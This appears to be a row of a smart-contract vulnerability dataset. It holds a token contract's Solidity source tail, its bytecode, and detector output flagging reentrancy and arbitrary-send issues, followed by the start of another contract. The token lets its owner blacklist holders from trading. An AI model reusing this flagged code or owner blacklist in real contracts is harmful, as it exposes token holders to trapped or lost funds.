function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9e565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a5565b61045e565b6040516101789190612e83565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613040565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612952565b610492565b6040516101e09190612e83565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b8565b61056b565b005b34801561021e57600080fd5b5061022761065b565b60405161023491906130b5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2e565b610664565b005b34801561027257600080fd5b5061027b610716565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b8565b610788565b6040516102b19190613040565b60405180910390f35b3480156102c657600080fd5b506102cf6107d9565b005b3480156102dd57600080fd5b506102e661092c565b6040516102f39190612db5565b60405180910390f35b34801561030857600080fd5b50610311610955565b60405161031e9190612e9e565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a5565b610992565b60405161035b9190612e83565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e5565b6109b0565b005b34801561039957600080fd5b506103a2610ada565b005b3480156103b057600080fd5b506103b9610b54565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a88565b6110bb565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612912565b611209565b6040516104189190613040565b60405180910390f35b60606040518060400160405280601f81526020017f496e66696e69747920417065207c20742e6d652f496e66696e69747961706500815250905090565b600061047261046b611290565b8484611298565b6001905092915050565b60006d314dc6448d9338c15b0a00000000905090565b600061049f848484611463565b610560846104ab611290565b61055b856040518060600160405280602881526020016137bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610511611290565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c229092919063ffffffff16565b611298565b600190509392505050565b610573611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f790612f80565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066c611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f090612f80565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610757611290565b73ffffffffffffffffffffffffffffffffffffffff161461077757600080fd5b600047905061078581611c86565b50565b60006107d2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d81565b9050919050565b6107e1611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086590612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f494e464941504520f09f8c8c0000000000000000000000000000000000000000815250905090565b60006109a661099f611290565b8484611463565b6001905092915050565b6109b8611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612f80565b60405180910390fd5b60005b8151811015610ad6576001600a6000848481518110610a6a57610a696133fd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ace90613356565b915050610a48565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1b611290565b73ffffffffffffffffffffffffffffffffffffffff1614610b3b57600080fd5b6000610b4630610788565b9050610b5181611def565b50565b610b5c611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090612f80565b60405180910390fd5b600f60149054906101000a900460ff1615610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090613000565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cce30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166d314dc6448d9338c15b0a00000000611298565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c91906128e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dae57600080fd5b505afa158015610dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de691906128e5565b6040518363ffffffff1660e01b8152600401610e03929190612dd0565b602060405180830381600087803b158015610e1d57600080fd5b505af1158015610e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5591906128e5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ede30610788565b600080610ee961092c565b426040518863ffffffff1660e01b8152600401610f0b96959493929190612e22565b6060604051808303818588803b158015610f2457600080fd5b505af1158015610f38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5d9190612ab5565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506d314dc6448d9338c15b0a000000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611065929190612df9565b602060405180830381600087803b15801561107f57600080fd5b505af1158015611093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b79190612a5b565b5050565b6110c3611290565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114790612f80565b60405180910390fd5b60008111611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a90612f40565b60405180910390fd5b6111c760646111b9836d314dc6448d9338c15b0a0000000061207790919063ffffffff16565b6120f290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111fe9190613040565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90612f00565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114569190613040565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ca90612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a90612ec0565b60405180910390fd5b60008111611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d90612fa0565b60405180910390fd5b61158e61092c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fc57506115cc61092c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5f57600f60179054906101000a900460ff161561182f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116d85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117325750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611778611290565b73ffffffffffffffffffffffffffffffffffffffff1614806117ee5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d6611290565b73ffffffffffffffffffffffffffffffffffffffff16145b61182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490613020565b60405180910390fd5b5b5b60105481111561183e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118eb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119965750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ec5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a045750600f60179054906101000a900460ff165b15611aa55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5457600080fd5b603c42611a619190613176565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab030610788565b9050600f60159054906101000a900460ff16158015611b1d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b355750600f60169054906101000a900460ff165b15611b5d57611b4381611def565b60004790506000811115611b5b57611b5a47611c86565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c065750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1057600090505b611c1c8484848461213c565b50505050565b6000838311158290611c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c619190612e9e565b60405180910390fd5b5060008385611c799190613257565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd66002846120f290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d01573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d526002846120f290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d7d573d6000803e3d6000fd5b5050565b6000600654821115611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf90612ee0565b60405180910390fd5b6000611dd2612169565b9050611de781846120f290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2757611e2661342c565b5b604051908082528060200260200182016040528015611e555781602001602082028036833780820191505090505b5090503081600081518110611e6d57611e6c6133fd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0f57600080fd5b505afa158015611f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f4791906128e5565b81600181518110611f5b57611f5a6133fd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fc230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611298565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161202695949392919061305b565b600060405180830381600087803b15801561204057600080fd5b505af1158015612054573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561208a57600090506120ec565b6000828461209891906131fd565b90508284826120a791906131cc565b146120e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120de90612f60565b60405180910390fd5b809150505b92915050565b600061213483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612194565b905092915050565b8061214a576121496121f7565b5b612155848484612228565b80612163576121626123f3565b5b50505050565b6000806000612176612405565b9150915061218d81836120f290919063ffffffff16565b9250505090565b600080831182906121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d29190612e9e565b60405180910390fd5b50600083856121ea91906131cc565b9050809150509392505050565b600060085414801561220b57506000600954145b1561221557612226565b600060088190555060006009819055505b565b60008060008060008061223a87612476565b95509550955095509550955061229886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124de90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237981612586565b6123838483612643565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e09190613040565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b6000806000600654905060006d314dc6448d9338c15b0a0000000090506124456d314dc6448d9338c15b0a000000006006546120f290919063ffffffff16565b821015612469576006546d314dc6448d9338c15b0a00000000935093505050612472565b81819350935050505b9091565b60008060008060008060008060006124938a60085460095461267d565b92509250925060006124a3612169565b905060008060006124b68e878787612713565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c22565b905092915050565b60008082846125379190613176565b90508381101561257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390612f20565b60405180910390fd5b8091505092915050565b6000612590612169565b905060006125a7828461207790919063ffffffff16565b90506125fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612658826006546124de90919063ffffffff16565b6006819055506126738160075461252890919063ffffffff16565b6007819055505050565b6000806000806126a9606461269b888a61207790919063ffffffff16565b6120f290919063ffffffff16565b905060006126d360646126c5888b61207790919063ffffffff16565b6120f290919063ffffffff16565b905060006126fc826126ee858c6124de90919063ffffffff16565b6124de90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272c858961207790919063ffffffff16565b90506000612743868961207790919063ffffffff16565b9050600061275a878961207790919063ffffffff16565b905060006127838261277585876124de90919063ffffffff16565b6124de90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127af6127aa846130f5565b6130d0565b905080838252602082019050828560208602820111156127d2576127d1613460565b5b60005b8581101561280257816127e8888261280c565b8452602084019350602083019250506001810190506127d5565b5050509392505050565b60008135905061281b81613776565b92915050565b60008151905061283081613776565b92915050565b600082601f83011261284b5761284a61345b565b5b813561285b84826020860161279c565b91505092915050565b6000813590506128738161378d565b92915050565b6000815190506128888161378d565b92915050565b60008135905061289d816137a4565b92915050565b6000815190506128b2816137a4565b92915050565b6000602082840312156128ce576128cd61346a565b5b60006128dc8482850161280c565b91505092915050565b6000602082840312156128fb576128fa61346a565b5b600061290984828501612821565b91505092915050565b600080604083850312156129295761292861346a565b5b60006129378582860161280c565b92505060206129488582860161280c565b9150509250929050565b60008060006060848603121561296b5761296a61346a565b5b60006129798682870161280c565b935050602061298a8682870161280c565b925050604061299b8682870161288e565b9150509250925092565b600080604083850312156129bc576129bb61346a565b5b60006129ca8582860161280c565b92505060206129db8582860161288e565b9150509250929050565b6000602082840312156129fb576129fa61346a565b5b600082013567ffffffffffffffff811115612a1957612a18613465565b5b612a2584828501612836565b91505092915050565b600060208284031215612a4457612a4361346a565b5b6000612a5284828501612864565b91505092915050565b600060208284031215612a7157612a7061346a565b5b6000612a7f84828501612879565b91505092915050565b600060208284031215612a9e57612a9d61346a565b5b6000612aac8482850161288e565b91505092915050565b600080600060608486031215612ace57612acd61346a565b5b6000612adc868287016128a3565b9350506020612aed868287016128a3565b9250506040612afe868287016128a3565b9150509250925092565b6000612b148383612b20565b60208301905092915050565b612b298161328b565b82525050565b612b388161328b565b82525050565b6000612b4982613131565b612b538185613154565b9350612b5e83613121565b8060005b83811015612b8f578151612b768882612b08565b9750612b8183613147565b925050600181019050612b62565b5085935050505092915050565b612ba58161329d565b82525050565b612bb4816132e0565b82525050565b6000612bc58261313c565b612bcf8185613165565b9350612bdf8185602086016132f2565b612be88161346f565b840191505092915050565b6000612c00602383613165565b9150612c0b82613480565b604082019050919050565b6000612c23602a83613165565b9150612c2e826134cf565b604082019050919050565b6000612c46602283613165565b9150612c518261351e565b604082019050919050565b6000612c69601b83613165565b9150612c748261356d565b602082019050919050565b6000612c8c601d83613165565b9150612c9782613596565b602082019050919050565b6000612caf602183613165565b9150612cba826135bf565b604082019050919050565b6000612cd2602083613165565b9150612cdd8261360e565b602082019050919050565b6000612cf5602983613165565b9150612d0082613637565b604082019050919050565b6000612d18602583613165565b9150612d2382613686565b604082019050919050565b6000612d3b602483613165565b9150612d46826136d5565b604082019050919050565b6000612d5e601783613165565b9150612d6982613724565b602082019050919050565b6000612d81601183613165565b9150612d8c8261374d565b602082019050919050565b612da0816132c9565b82525050565b612daf816132d3565b82525050565b6000602082019050612dca6000830184612b2f565b92915050565b6000604082019050612de56000830185612b2f565b612df26020830184612b2f565b9392505050565b6000604082019050612e0e6000830185612b2f565b612e1b6020830184612d97565b9392505050565b600060c082019050612e376000830189612b2f565b612e446020830188612d97565b612e516040830187612bab565b612e5e6060830186612bab565b612e6b6080830185612b2f565b612e7860a0830184612d97565b979650505050505050565b6000602082019050612e986000830184612b9c565b92915050565b60006020820190508181036000830152612eb88184612bba565b905092915050565b60006020820190508181036000830152612ed981612bf3565b9050919050565b60006020820190508181036000830152612ef981612c16565b9050919050565b60006020820190508181036000830152612f1981612c39565b9050919050565b60006020820190508181036000830152612f3981612c5c565b9050919050565b60006020820190508181036000830152612f5981612c7f565b9050919050565b60006020820190508181036000830152612f7981612ca2565b9050919050565b60006020820190508181036000830152612f9981612cc5565b9050919050565b60006020820190508181036000830152612fb981612ce8565b9050919050565b60006020820190508181036000830152612fd981612d0b565b9050919050565b60006020820190508181036000830152612ff981612d2e565b9050919050565b6000602082019050818103600083015261301981612d51565b9050919050565b6000602082019050818103600083015261303981612d74565b9050919050565b60006020820190506130556000830184612d97565b92915050565b600060a0820190506130706000830188612d97565b61307d6020830187612bab565b818103604083015261308f8186612b3e565b905061309e6060830185612b2f565b6130ab6080830184612d97565b9695505050505050565b60006020820190506130ca6000830184612da6565b92915050565b60006130da6130eb565b90506130e68282613325565b919050565b6000604051905090565b600067ffffffffffffffff8211156131105761310f61342c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613181826132c9565b915061318c836132c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c1576131c061339f565b5b828201905092915050565b60006131d7826132c9565b91506131e2836132c9565b9250826131f2576131f16133ce565b5b828204905092915050565b6000613208826132c9565b9150613213836132c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324c5761324b61339f565b5b828202905092915050565b6000613262826132c9565b915061326d836132c9565b9250828210156132805761327f61339f565b5b828203905092915050565b6000613296826132a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132eb826132c9565b9050919050565b60005b838110156133105780820151818401526020810190506132f5565b8381111561331f576000848401525b50505050565b61332e8261346f565b810181811067ffffffffffffffff8211171561334d5761334c61342c565b5b80604052505050565b6000613361826132c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133945761339361339f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377f8161328b565b811461378a57600080fd5b50565b6137968161329d565b81146137a157600080fd5b50565b6137ad816132c9565b81146137b857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4094f25fcf87d4242a26da9a502d91500a0611c110e556db8f8144b1be44cce64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,757 |
0xDa5bC2559BA01a6fD587d4b1f9889DE754DCb748
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
